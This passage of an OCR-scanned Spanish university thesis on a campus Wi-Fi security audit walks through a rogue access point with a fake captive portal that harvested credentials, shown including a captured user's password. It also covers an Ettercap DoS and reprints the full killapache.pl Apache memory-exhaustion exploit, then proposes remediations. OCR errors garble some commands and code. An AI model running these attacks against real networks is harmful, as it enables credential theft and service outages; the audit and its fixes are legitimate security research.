destino al puerto 80 al puerto 55555.

root@bt:~# iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p
tcp --dport 80 -j REDIRECT --to-ports 55555

Para poner la tarjeta en modo monitor se ejecuté el siguiente comando.

root@bt:~# airmon-ng start wlan0

:~# airmon-ng start wlan®@

processes that could cause trouble.
q ng or a#rtun- stops workingiafiter
, you-may want to kill (som@&"0T) them!

dhclient3
dhclient3
dhclient
dhclient
5 with PID 1326 (dhclient3) is running on interface wlan®

Interface Chipset Driver

wlan@ Ralink RT2870/3070 rt2800usb - [phyo]
(monitor mode enabled on mon@)

Gréfico 6.17.  Airmon-ng tarjeta en modo monitor
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Se creo el punto de acceso con el nombre “FISEI2”.

root@bt:~# airbase-ng -P -C 30 -c 6 -e FISEI2 monO

:~# airbase-ng -P -C"'30 -c 6 -e FISEI2 mon®
Created tap interface at®

Trying to set MTU on ate to 1500
Trying to set MTU on mon@ to 18600
Access Point with BSSID 1C:AF:F7:68:CA:94 started.

Gréfico 6.18.  Airbase-ng creacion de AP falso

Después en otro terminal se activo la interfaz del AP, y se lanz6 el servidor
DHCP.

root@bt:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
root@t:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Se aplicé reglas iptables para redirigir el trafico de los clientes del AP al equipo

para tener acceso a internet.

root@bt:~# iptables -t nat -A POSTROUTING -o eth0 -j
MASQUERADE

root@t:~# iptables -A INPUT -s 10.0.0.0/24 -i at0 -j
ACCEPT

root@bt:~# iptables -A oOuTPUT -d 10.0.0.0/24 -0 at0 -j
ACCEPT

Y por ultimo se habilito el IP forwarding con el comando siguiente.

root@bt:~# echo 1 >/proc/sys/net/ipv4/ip_forward
De esta manera, el usuario que se conecte al punto de acceso FISEI2 sera
redirigido a la pagina de login que se cre6 y que es similar al que se habilita

cuando se desea acceder a la red inaldmbrica, asi permitiendo el robo de usuarios

y contrasenas.

Una vez que ya esta configurado todo se procede a ver el estado de las tablas NAT

con el siguiente comando.

root@bt:~# iptables -t nat -L -n
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:~# iptables -t nat -L.:n
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp -- 10.0.0.0/24 0.0.0.09/0 tcp dpt:80 redir po
rts 55555

Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
MASQUERADE all -- 0.0.0.0/0 0.0.0.0/0

Grafico 6.19. Tablas NAT

Se observé que se redirigen las peticiones del protocolo tcp del Puerto 80 al
Puerto 55555.

Probando en otra maquina

Para comprobar el correcto funcionamiento del punto de acceso y del portal
cautivo se uso otro computador, como se puede observar en las imagenes

siguientes aparece el AP FISEI2 y se procedi6 a conectar.

[=E =
i T
o) @ Connect to a network
Select a network to connect to
Show |All -
Ll Ty
_l; RED CNT Security-enabled network _ﬂjﬂ
&E FISER2 Unsecured network _ﬂﬂj
&' YADIRA Security-enabled network Al
- -
Set up a connection or network
Open Metwork and Sharing Center

Grafico 6.20. AP falso FISEI2
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& & Connect to a network

FISEIZ is an unsecured network

[ ! ) Connect Anyway
Information sent over this network might be visible to others.

% Connect to a different network

| Cancel

Grafico 6.21. Conectando a AP FISEI2

= & =
@ & Connect to a network
Successfully connected to FISEI2
Save this network
| Close |

Grafico 6.22. Conexion exitosa a FISEI2

Se verifico que este funcionando el servidor DHCP.

BN Administrator: C\Windews\system32\cmd exe i =] ﬂ

C:xUzers~john>ipconfig

Windows IP Configuration

llirelezs LAN adapter Wireless Network Connection:

Connection—specific DNS Suffix
Link-local IPv6 Address . . .
IPv4 Address. . . . . .
Subnet Mask . . . . . .
Default Gateway . . . .

: feB@::dch@:f7af :h?4:955428
: 18.8.8.182

: 255.255.255.08

: 18.8.8.1

Ethernet adapter Local Area Connection:

Media State . . . . . . . . . . . 1 Media disconnected
Connection—specific DNE Suffix H
Tunnel adapter Local Area Connection®* 6:

Media State . . . . . . . . . . . Media disconnected
Connection—specific DNE Suffix

Tunnel adapter Local Area Connection= 16:

Grafico 6.23.  Verificacion de servidor DHCP
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Se abrio el navegador para comprobar si se esta re direccionando a la pagina de
login que se creo, y se ingresé un nombre de usuario y contrasefia para verificar si

el script log.php funciona correctamente.

%
@
n

€« €[5 www.goagle.com.ec

FISEI WIFI

Usuario: | prueba

Cie

Login

Gréfico 6.24. Portal cautivo falso

Y finalmente se re direcciond a la pagina solicitada, en este caso fue a Google.

B Google x %Y [EIENRES
€« C' | @ https;//www.google.com.ec w8 =
+Maritza Bisqueda Imagenes Maps Play Gmail Drive Calendar Traductor Libros Mas -
Maritza Espinoza + Compartir ' -
:
L)
. Ecuador
Buscar Google M it rt
Prooramas de publicidad Ei P dad v Todo acerca de Gooale  Gooale.com

Gréfico 6.25. Navegacion normal
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Fichero Datos

En Backtrack se revisd el fichero datos que se cre6 anteriormente, que se
encuentra ubicado en el directorio /var/www/ y se pudo comprobar que los datos

que se ingresé en la pagina de login fueron capturados y pasados a este archivo.

File Edit View Search Tools Documents Help

I_{hquenvisave = <4, Undo A E{: O\%

datos ®

usuario -> prueba
password -> prueba

Plain Text v | Tab Width: 8 ¥ | Ln5, Col 1 INS P

Grafico 6.26.  Fichero datos

Ademas en el terminal se observé que un cliente se conecto al AP, mostrando la
MAC ADDRESS del computador asociado.

:~# airbase-ng -P -C -C 6 -e FISEI2 mon®

Created tap interface at®

Trying to set MTU on at® to 1500

Tr g to set MTU on mon® to 1800

AcC s Point with BSSID 1C:AF:F7:68:CA:94 started.

Client 00:25:56:51:8D:CC associated (unencrypted) to ESSID: "FISEI2"

5
5
5
25

Grafico 6.27.  Cliente conectado a la FISEI2

Tambien se reviso la tabla NAT con la nueva regla que elimina la redireccion para
laip 10.0.0.102.
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:~# iptables -t nat -L -n
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
.0/0 tcp dpt:80
79, tcp dpt:80 redir g

ACCEPT tcp -- 10.0.0.102 0.0.0
REDIRECT tcp -- 10.0.0.0/24 0,00
rts 55555

Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source
MASQUERADE ally -- 0.0.0.0/0

Grafico 6.28. Tabla NAT con nueva regla

Se probd el ataque en la Facultad con el cual se pudo obtener un nombre de

usuario y contrasefia que se registro en el fichero llamado datos.

| LOPEN v Save | ) | < Undo gl QA G
datos ¥

usuario -> prueba
password -> prueba

usuario -> castrod
password -> castrod

Plain Text v | Tab Width: 8 ¥ | Ln9, Col 1 INS 4

Grafico 6.29. Fichero datos con credencial robada
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6.8.4.2.3. DoS en servidor

Al realizar un ataque de Denegacion de Servicios los usuarios son privados del
servicio de internet, debido al consumo de ancho de banda. Para realizar este
ataque se utiliz6 la herramienta Ettercap en modo grafico. Para abrir el programa

se abrid la consola y se digitd el comando ettercap —G.

:~# ettercap -G

ettercap 0.7.5 copyright 2001-2012 Ettercap Dewelopment Team

Grafico 6.30.  Ettercap ingreso por consola

% ettercap 0.7.5

File sniff Options Help

Gréfico 6.31.  Pantalla de inicio de Ettercap

Para realizar un sniffing de la red que se va a atacar se selecciond Unified
sniffing... que se encuentra dentro de la opcion Sniff del menu principal y aparecio
la siguiente pantalla en el cual se eligio el tipo de interface, en este caso wlan0 que

es la interface de la red inalambrica.
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| = ettercap Input

@ Network interface : “NIanO

| OK

Grafico 6.32.  Seleccion interface de red

% ettercap 0.7.5

Start Targets Hosts View Mitm Filters Logging Plugins Help

b
31 plugins
40 protocol dissectors

55 ports monitored
13861 mac vendor fingerprint
|1?66 tep OS fingerprint

2183 known services

Gréfico 6.33.  Iniciando sniffing

El siguiente paso fue escanear las computadoras que se encontraban en la red, por

lo que se selecciond Scan for hosts en la opcién Host del menu principal.

x* ettercap 0.7.5

55 'ports monitored
13861 mac vendor fingerprint
1766 tcp OS fingerprint

2183 known services
Randomizing 127 hosts for scanning... “m

Scanning the whole netmask for 127 hosts...
8 hosts added to the hosts list...

Gréfico 6.34. Escaneo de hosts
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Al dar click en Host list se observo el listado de computadores conectados a la red
inaldmbrica con sus respectivas IP y direcciones MAC, en la mayoria de los casos

el primer host es el servidor.

* ettercap 0.7.5

Host List ®
IP Address MAC Address Description o
0.0.0.0 78:D6:F0:BC:60:F3
fe80::1c3a:197b:87be:a5b9 CO:F8:DA:66:68:6D
172.168.0.1 00:23:69:43:D6:5A
172.168.0.23 AC:72:89:D6:B0:23
172.168.0.32 00:17:F2:EB8:16:15
172.168.0.52 1C:69:A5:67:55:BD
172.168.0.55 E8:3E:B6:8F:3E:91
£ob aE boolE LW, 1 (=Y. 1 0.CE.1 A E
Delete Host | Add to Target 1 | Add to Target 2
55 ports monitored 3
13861 mac vendor fingerprint
1766 tcp OS fingerprint
2183 known services
Randomizing 127 hosts for scanning...
Scanning the whole netmask for 127 hosts...
IB hosts added to the hosts list...

Gréfico 6.35. Listado de hosts

Para empezar con el ataque DoS se escogié la opcion Manage the plugins del
submenu Plugins, como se puede observar en la siguiente imagen aparecié una

lista de plugins, en donde se seleccion6 dos_attack dando doble click.

* ettercap 0.7.5

Host List & | Plugins ¥ |

Name Version Info .
arp_cop 11 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success
dns_spoof 11 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Try to find ettercap activity
find ip 1.0 Search an unused IP address in the subnet r
55 ports monitored -
13861 mac vendor fingerprint
1766 tcp OS fingerprint
2183 known services
Randomizing 127 hosts for scanning...
Scanning the whole netmask for 127 hosts...
1 hosts added to the hosts list...

Grafico 6.36.  Listado de Plugins
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Se inserto la ip victima en este caso la ip del servidor 172.168.0.1.

| x ettercap Input

@ Insert victim IP:  [172.168.0.1 |

| oK H Cancel ‘

Gréfico 6.37. IP victima

Después se insertd una ip que no este en uso para remplazar la anterior.

* ettercap Input

@ Insert unused IP: [172.168.0.240) |

‘ OK || Cancel |

Grafico 6.38.  Ip que no este en uso

Y finalmente empez6 el ataque DoS.

I

2183 known services

Randomizing -1 hosts for scanning...
Scanning the whole netmask for -1 hosts...
0 hosts added to the hosts list...
Activating dos_attack plugin... l

dos_attack: Starting scan against 172.168.0.1 [Fake Host: 172.168.0.240]
dos_attack: Starting attack...

Grafico 6.39.  Ataque DoS

El cual dejo sin servicio de internet a los usuarios de la red inalambrica de la
FISELI.
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6.8.4.2.4. Exploits para versién instalada de Apache

En referencia al punto 6.8.1. Anadlisis de la Infraestructura de la red
inaldmbrica de la FISEI la version instalada del servidor Apache es la 2.2.15, y
en el punto 6.8.2.1 Vulnerabilidades en versiones instaladas en servidor se
detalla sobre la vulnerabilidad que posee esta version a ataques de denegacion de
servicios; en internet se pudo encontrar exploits que son creados para provocar

este tipo de ataques.

A continuacion se presentan dos scripts en Perl, el primero permitio probar si la
version instalada de Apache es vulnerable y el segundo demuestra esta
vulnerabilidad enviando peticiones GET con varios rangos de bytes que

demandan grandes cantidades de memoria al sistema.

- Scripts para realizar un test a la versién de apache el cual indica si es

vulnerable o no, sin realizar el ataque DoS.

#!/usr/bin/perl
use 10::Socket;
sub usage {
print "usage: perl test.rangeheaderdos.pl <host>\n";
}
sub testapache {
my $sock = 10::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto =>'tcp");
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-\r\nAccept-
Encoding: gzip\r\nUser-Agent: test-range-header\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";

return 1;

}else {
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return O;

}

}

if ($#ARGV <0) {
usage;
exit;

}

$v = testapache();

if ($v==0){
print "Host does not seem vulnerable\n*;
exit;

}

Para llamar al script se debe dirigir al directorio en donde esta grabado el archivo

y escribir los siguientes comandos en la consola.
root@bt:~# perl testrangeheader.pl 172.168.0.1

En donde testrangeheader.pl es el nombre del script, 172.168.0.1 es la ip del

servidor.

:~/Desktop/Cris# cd killapache/
:~/Desktop/Cris/killapache# ls
killapache.pl Pasos ap falso testrangeheader.pl

:~/Desktop/Cris/killapache# perl testrangeheaderwpl 172:268.0.1
host seems vuln
:~/Desktop/Cris/killapache#

Gréfico 6.40. Ejecutando script de prueba de version

- Script desarrollado por Kingcope.
#Apache httpd Remote Denial of Service (memory exhaustion)

#By Kingcope
#Year 2011
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#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use 10::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$=1;
srand(time());
sp=""
for ($k=0;$k<1300;3k++) {
$p .=",5-8k";
}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

my $sock = 10::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "80",

Proto =>'tcp");

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-
Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
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$pm->wait_all_children;

print ":pPpPpppPpPPppPpppPp\n’;

}

sub testapache {

my $sock = 10::Socket:: INET->new(PeerAddr => $SARGV[0],
PeerPort => "80",

Proto =>'tcp");
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-
Encoding: gzip\rinConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {

print "host seems vuln\n";
return 1;
}else {
return O;
}
}
if ($#ARGV <0) {
usage;
exit;
}
if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$v = testapache();
if ($v==0){
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}
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Solamente para llamar al script se dirigio al directorio en donde esta grabado el

archivo y escribir los siguientes comandos en la consola.

root@t:~# perl killapache.pl 172.168.0.1 50

En donde killapache.pl es el nombre del script, 172.168.0.1 es la ip del servidor

apache y el 50 es el nimero de forks.

El ataque se realizd con éxito interrumpiendo el servicio de internet en la

Facultad.

6.8.5. Analisis de Puntos Vulnerables

Nivel Importancia Criterio
10 Muy Alto Dafio muy grave a la Facultad
7-9 Alto Dafio grave a la Facultad
4-6 Medio Dafo importante a la Facultad
1-3 Bajo Daiio menor a la Facultad
0 Despreciable Irrelevante a efectos practicos

Tabla 6.4. Nivel Importancia
Fuente: Investigacion

Puntos Vulnerables TIPOS DE ATAQUES Nivel
MAC Rogue | DoS con | DoS con | Importancia

Spoofing AP Software | Exploit

Captura de trafico v x x x 7

Saturacion de Ancho X \/ ‘/ ‘/ 8

de Banda

Clonacién de 9

Direccion MAC \/ x x x

Robo de x ‘/ x x 9

Credenciales

Clonacion de Punto X \/ X X 8

de Acceso

Interrupcion de x x v v 9

Servicio de Internet

Tabla 6.5. Puntos Vulnerables
Fuente: Investigacion
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El Ataqgue MAC Spoofing permitié el escaneo de la red inalambrica y por medio
del filtrado ARP se obtuvo direcciones MAC de los usuarios registrados, se
realizd la clonacion de MAC con la herramienta macchanger y se consiguié el

acceso a la red.

El Atague Rogue Access Point se encargd de engafar al usuario que se conectaba
a la red inalambrica de la FISEI debido a que presentaba una pagina de logueo
igual al portal cautivo que se presentaba al momento de acceder a internet y de
esta manera se capturo las credenciales de los usuarios, y asi se obtuvo acceso a la

red.

El Ataque de Denegacion de Servicios realizado con Ettercap permitid realizar un
escaneo de host, ver las direcciones MAC respetivas y saturar el ancho de banda

haciendo imposible el acceso al internet.
Para comprobar si la version instalada del servicio Apache es vulnerable se
ejecutd un script codificado en Perl, mostrando el mensaje Host seems wvuln,

demostrando que precisamente se debe realizar la actualizacién de la versiéon o

ejecutar el parche en caso de existir.

6.8.6. Propuestas de Solucién

MAC Spoofing

Vulnerabilidad:
- Captura de Trafico.

- Clonacién de Direccion MAC.

Situaciéon Encontrada | Se efectud el ataque MAC Spoofing por medio
de la herramienta Wireshark se obtuvo la
direccibon MAC y con la herramienta
Macchanger se pudo clonar la direccién fisica.
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Causas Ineficiente control de acceso a la red
inaldmbrica.

Impacto Permiti6 el acceso a la red inalambrica.

Soluciones - Instalar arpalert, este software permite detectar

cambios de MAC e informa por medio de un
log “arpalert.log”.
- Habilitar un mecanismo de cifrado para
controlar de mejor manera el acceso a la red
inalambrica.

Rogue Access Point

Tabla 6.6. MAC Spoofing
Fuente: Investigacion

Vulnerabilidad:

- Saturacion de Ancho de Banda.
- Robo de Credenciales.

Situacion Encontrada

Al crear un punto de acceso falso se pudo
engafar a los usuarios al momento de conectarse,
al abrir el navegador aparecio un portal cautivo
igual al existente y se pudo obtener las
credenciales de los usuarios sin percatarse que
era falso.

Causas

- Desconocimiento del usuario al no percatarse a
que AP se conecta y en que pagina ingresan las
credenciales.

- Los sistemas operativos Windows por defecto
se asocia a redes inaldmbricas que posean
mejor sefial y el SSID igual.

Impacto

Permiti6 el acceso a la red inalambrica.

Soluciones

- Capacitar al personal sobre los tipos de ataques
existentes en las redes inalambricas.

-Hacer cambios de las contrasefias de los
usuarios de la red inaldmbrica para controlar el
acceso en caso de existir robo de credenciales.

Tabla 6.7. Rogue Access Point
Fuente: Investigacion
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Denial of Services (DoS) con Ettercap

Vulnerabilidad:

- Saturacion de Ancho de Banda.
- Interrupcion de Servicio de Internet.

Situacion Encontrada

Se efectud el ataque de denegacion de servicios
por medio de la herramienta Ettercap saturando
el ancho de banda e interrumpiendo el servicio
de internet.

Causas Medidas de seguridad pocas efectivas.

Impacto Evitar el funcionamiento normal de una red o
servicio.

Soluciones - Actualizar los servicios y parchar en caso de

existir versiones vulnerables.

Tabla 6.8. Denial of Services con Ettercap

Fuente: Investigacion

Denial of Services (DoS) con Exploit

Vulnerabilidad:

- Saturacion de Ancho de Banda.
- Interrupcion de Servicio de Internet.

Situacion Encontrada

Se ejecutd un script para saturar el ancho de
banda con peticiones GET e hizo imposible el
acceso al servicio de internet.

Causas Version de Servidor Apache vulnerable.

Impacto Evitar el funcionamiento normal de una red o
servicio.

Soluciones - Proveer de proteccion al servidor Apache,

instalando mddulos que eviten ataques DoS.
- Actualizar los servicios y parchar en caso de
existir versiones vulnerables.

Tabla 6.9. Denial of Services con Exploit

Fuente: Investigacion
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6.9. Conclusiones y Recomendaciones

6.9.1. Conclusiones

- Wireshark permitid la captura del trafico de la red y filtrar por el protocolo
ARP para obtener las direcciones fisicas de las maquinas conectadas a la

red inalambrica.

- La restriccién de acceso por direccion MAC en la red inalambrica no es
suficientemente seguro, se demostré que al usar una herramienta para
analizar el trafico se obtuvo las direcciones MAC de los usuarios y con
solo cambiar la MAC de la tarjeta de red en el computador se accedio a la

red.

- Los usuarios pueden ser engafiados con puntos de acceso falsos, si no se
percatan en el nombre del AP al momento de conectarse a la red
inalambrica pueden ser victimas de robos sus credenciales de acceso

(nombre de usuario y contrasefia).

- La versién de MySQL y de Apache no han sido actualizadas y son

vulnerables a ataques de denegacion de servicios.

- El envio de peticiones GET con varios rangos de bytes saturd el ancho de
banda de la red inalambrica permitiendo el ataque de Denegacién de

Servicios.
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6.9.2. Recomendaciones

Instalar herramientas de seguridad como un sistema de deteccion de
intrusos (IDS), el cual permite escuchar y analizar el trafico que circula en
la red fisica e inaldmbrica identificando posibles ataques y bloqueando el

acceso en caso de detectar anomalias.

Habilitar un mecanismo de cifrado WPA2 para tener mejor control de
acceso a la red inalambrica, de esta manera si un usuario logra acceder por
medio de la direccion MAC no podra acceder directamente debido a que

debera descifrar la clave de acceso.

Hacer cambios de las contrasefias de los usuarios de la red inalambrica
para controlar el acceso en caso de existir robo de credenciales (hombre de
usuario y contrasefia) implementando una pagina que permita el cambio de
contrasefias por usuario para que cada uno se encargue, sin necesidad de

solicitar ayuda al personal de administracion de redes.

Revisar las actualizaciones de los sistemas operativos para la
infraestructura de telecomunicaciones, parchar en caso de existir versiones
vulnerables, siempre y cuando las versiones sean compatibles con las que
se encuentra trabajando, también se puede automatizar parte de estas
tareas.

Proveer de proteccion al servidor Apache para evitar ataques DoS, por
medio de modulos como el mod_evasive que permite redirigir el trafico de
las peticiones ilegitimas hacia un error 403 (prohibido) y el mod_security
que evita ataques hacia aplicaciones Web y permite monitorear
trafico HTTP.
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6.11

. Glosario de Términos

AP.- Access Point, punto de acceso, estacion base de una red Wi-Fi que

conecta clientes inalambricos entre si y a redes de cable.

ARP.- Es un protocolo de la capa de enlace de datos responsable de
encontrar la direccion hardware (Ethernet MAC) que corresponde a una

determinada direccion IP.

Clave Privada.- La clave privada debe permanecer bajo el exclusivo
control de su propietario. Esta caracteristica permite que una firma digital

identifique en forma univoca al firmante.

Clave Publica.- La clave puablica, por su parte, es la que le posibilita al
destinatario verificar quién es el autor del mensaje y la integridad de los

datos enviados.

CSMAI/CA.- El protocolo CSMAJ/CA (Carrier Sense Multiple Access and
Colision Avoidance o Acceso Mdltiple con Deteccion de Portadora y
Prevencidon de Colisiones) se utiliza en las redes locales inalambricas
(estandar IEEE 802.11). Funciona de igual forma que el protocolo CSMA,
pero, en caso de que el medio esté ocupado, todas las estaciones que
desean transmitir establecen un turno ranurado siguiendo un protocolo de

mapa de bits.

CVE.- Es un diccionario de publico conocimiento las vulnerabilidades de

seguridad de informacion y exposiciones.

DSL.- (Digital subscriber line / bucle de abonado digital), es una familia
de tecnologias que proporcionan acceso a Internet mediante la transmision
digitales de datos a través de los cables de un local de red telefonica. En la

comercializacion de las telecomunicaciones, el término DSL es

136



ampliamente entendido en el sentido de la linea de abonado digital

asimétrica (ADSL), la mas comunmente instalada la tecnologia DSL.

EAP.- Extensible Authentication Protocol/ Protocolo de autenticacion
extensible, es una autenticacion framework utiliza con frecuencia en redes
inaldmbricas y conexiones punto a punto . Se define en RFC 3748, lo que
hizo RFC 2284 obsoleto, y fue actualizado por el RFC 5247 .

Encriptacion.- La encriptacion es el proceso para volver ilegible
informacion considerada importante. La informacién una vez encriptada
solo puede leerse aplicandole una clave. Se trata de una medida de
seguridad que es usada para almacenar o transferir informacién delicada

que no deberia ser accesible a terceros.

GPRS.- Es una técnica de conmutacién de paquetes, que es integrable con
la estructura actual de las redes GSM. Esta tecnologia permitird una
velocidades de datos de 115 kbs. Sus ventajas son multiples, y se aplican
fundamentalmente a las transmisiones de datos que produzcan tréfico "a

rafagas"”, es decir, discontinuo. Por ejemplo, Internet y mensajeria.

GSM.- (Group Special Mobile o Global System for Mobile
Comunications) El Group Special Mobile fue el organismo que se encargo
de la configuracion técnica de una norma de transmision y recepcién para
la telefonia celular europea y el Global System es el sistema europeo de

telefonia movil digital a 900 MHz.

IEEE.- Corresponde a las siglas de The Institute of Electrical and
Electronics Engineers, el Instituto de Ingenieros Eléctricos y Electronicos,
una asociacion técnico-profesional mundial dedicada a la estandarizacion,
entre otras cosas. Es la mayor asociacion internacional sin fines de lucro

formada por profesionales de las nuevas tecnologias, como ingenieros
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eléctricos, ingenieros en electronica, ingenieros en sistemas e ingenieros

en telecomunicacion.

ISP.- (Internet Service Provider/proveedor de servicios de Internet), es una
empresa que brinda conexién a Internet a sus clientes. Un ISP conecta a
sus usuarios a Internet a través de diferentes tecnologias como DSL,
Cablemodem, GSM, Dial-up, Wifi, entre otros. Muchos ISP también
ofrecen servicios relacionados con Internet, como el correo electrénico,

alojamiento web, registro de dominios, servidores de noticias, etc.

Licencia BSB.- Es la licencia de software otorgada principalmente para
los sistemas BSD (Berkeley Software Distribution). Es una licencia de
software libre permisiva como la licencia de OpenSSL o la MIT License.
Esta licencia tiene menos restricciones en comparacion con otras como la
GPL estando muy cercana al dominio publico. La licencia BSD al

contrario que la GPL permite el uso del codigo fuente en software no libre.

Licencia GPL.- La licencia GPL o General Public License permite
instalar y usar un programa GPL en un ordenador o en tantos sin
limitacion. También permite modificar el programa para adaptarlo segln

las necesidades.

Live cd.- Un Live-CD es una distribucion de  Linux
(Kernel+Herramientas) pensada para correr sin necesidad de instalarla. La
PC bootea desde la unidad de CD/DVD, el sistema se carga en RAM,
dejando intacto al sistema instalado en la PC.

mod_evasive.- Es un moédulo para Apache maniobras evasivas para
proporcionar una accion evasiva en caso de denegacion de servicio HTTP
0 ataque DDoS o ataque de fuerza bruta. También esta disefiado para ser
una herramienta de deteccion y gestion de la red, y se puede configurar
facilmente para hablar con ipchains, cortafuegos, router, etc.
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mod_security.- Es un firewall de aplicaciones Web embebible que ejecuta
como mddulo del servidor web Apache, provee proteccion contra diversos
ataques hacia aplicaciones Web y permite monitorear trafico HTTP, asi
como realizar andlisis en tiempo real sin necesidad de hacer cambios a la
infraestructura existente. Eta disponible como Software Libre bajo la
licencia GNU General Public License, a su vez, se encuentra disponible

bajo diversas licencias comerciales.

OFDM.- Es wuna tecnologia que transmite multiples sefiales
simultaneamente sobre un solo medio de transmision, como un cable o el
aire. Cada sefial viaja con su propio y unico rango de frecuencia
(portadora), el cual es modulado por los datos (sean de texto, voz, video,

etc.).

PDA .- Es una computadora de mano originalmente disefiada como agenda
electronica (calendario, lista de contactos, bloc de notas y recordatorios)

con un sistema de reconocimiento de escritura.

Perl.- Es un lenguaje de programacion, toma caracteristicas del lenguaje
C, del lenguaje interpretado bourne shell (sh), AWK, sed, Lisp y, en un

grado inferior, de muchos otros lenguajes de programacion.

QoS.- Calidad de Servicio (Quality of Service, en inglés) son las
tecnologias que garantizan la transmision de cierta cantidad de
informacion en un tiempo dado (throughput). Calidad de servicio es la
capacidad de dar un buen servicio. Es especialmente importante para

ciertas aplicaciones tales como la transmision de video o voz.

Scripts.- Los scripts son un conjunto de instrucciones generalmente
almacenadas en un archivo de texto que deben ser interpretados linea a
linea en tiempo real para su ejecucion, se distinguen de los programas,

pues deben ser convertidos a un archivo binario ejecutable para correrlos.
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TCP.- (Protocolo de Control de Transmision), es uno de los protocolos
fundamentales en Internet. da soporte a muchas de las aplicaciones mas
populares de Internet (navegadores, intercambio de ficheros, clientes FTP,
etc.) y protocolos de aplicacion HTTP, SMTP, SSHy FTP.

UDP.- (User Datagram Protocol) es un protocolo del nivel de transporte
basado en el intercambio de datagramas (Encapsulado de capa 4 Modelo
OSI). Permite el envio de datagramas a través de la red sin que se haya
establecido previamente una conexion, ya que el propio datagrama

incorpora suficiente informacion de direccionamiento en su cabecera.

UMTS.- Sistema universal de telecomunicaciones maviles (Universal
Mobile Telecommunications System) es una de las tecnologias usadas por
los moéviles de tercera generacién, sucesora de GSM, debido a que la
tecnologia GSM propiamente dicha no podia seguir un camino evolutivo

para llegar a brindar servicios considerados de tercera generacion.

WECA .- Wireless Ethernet Compatibility Alliance, es una empresa creada
en 1999 por Nokia y Symbols Technologies (entre otras empresas), con el
fin de fomentar la compatibilidad entre tecnologias Ethernet inalambricas
bajo la norma 802.11 del IEEE. WECA cambi6 de nombre en 2003,

pasando a denominarse Wi-Fi Alliance.

WIMAX.-  Worldwide Interoperability for Microwave Access
(Interoperabilidad mundial para acceso por microondas). Es una tecnologia
dentro de las conocidas como tecnologias de Gltima milla, también
conocidas como bucle local que permite la recepcion de datos por

microondas y retransmisién por ondas de radio.
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6.12. Anexos

6.12.1. Anexo 1: Croquis de la Universidad Técnica de Ambato

CROQUIS DE LA UNIVERSIDAD TECNICA DE AMBATO
(PREDIOS HUACHI)

FACULTAD DE INGENIERIA EN SISTEMAS ELECTRONICA E INDUSTRIAL

Alberto Enriquez Gallo

Complejo Deportivo
de la Camara
de Comercio

Leon Mera
La Salle
£

Grafico 6.41.  Croquis
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6.12.2. Anexo 2: Encuesta

UNIVERSIDAD TECNICA DE AMBATO

FACULTAD DE INGENIERIA EN SISTEMAS ELECTRONICAE
INDUSTRIAL

LUGAR A ENCUESTAR: FISEI

OBJETIVO DE LA ENCUESTA: Adquirir informacion veraz que permita
justificar la investigacion y demostrar las necesidades de proteger la informacion que
viaja por la red inaldmbrica de la facultad.

Sefiores, su veracidad en las respuestas permitird al investigador desarrollar un
trabajo real y efectivo.
Agradecemos su colaboracidn y garantizamos absoluta reserva de su informacion.

CUESTIONARIO

1.- ¢Es consciente que al momento de conectarse a una red inaldmbrica en caso
de no poseer ningun tipo de seguridad en su computador otras personas pueden
acceder a la informacion de la misma?

a. Si ]
b. No ]

2.- ¢(Antes de conectarse a una red inalambrica presta atencién en el nombre de
la red a la que se va a conectar?

a. Si ]
b. No ]

3.- ¢Es de su conocimiento que debido a que la informacién viaja por el aire en
una red inaldmbrica es mas susceptible a que ésta pueda ser interceptada por

otra persona?
a. Si ]
b. No L]
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4.- Seleccione los tipos de ataques a redes inalambricas que conoce o ha
escuchado.

a. Man in the Middle L]
b. ARP poisoning L]
c. MAC spoofing ]
d. Rogue Access Point ]
e. Ninguno [

5.- ¢ Cual es el método de conexion a la red inalambrica de la FISEI?

a. Ingresando el nombre de usuario y contrasefia L[]
b. Registrando la direccion MAC []

6.- ¢Cree que se mantiene la confidencialidad de los datos en la red inalambrica
de la FISEI?

a. Si L]

b. No L]

7.- ¢Ha sido victima de robos de contrasefias al usar la red inalambrica de la
FISEI?

a. Si ]

b. No ]

8.- ¢Qué tipo de seguridad posee su computador para evitar robos de
informacion?

a. Firewall O]
b. Software de deteccion de malware []
c. Software de deteccién de spyware []
d. Antivirus L]
e. IPS L]
f. Ninguna L]

9.- ¢ Cuando desea acceder a la red inalambrica esta disponible?

a. Siempre L]

b. Tiene que esperar unos minutos O
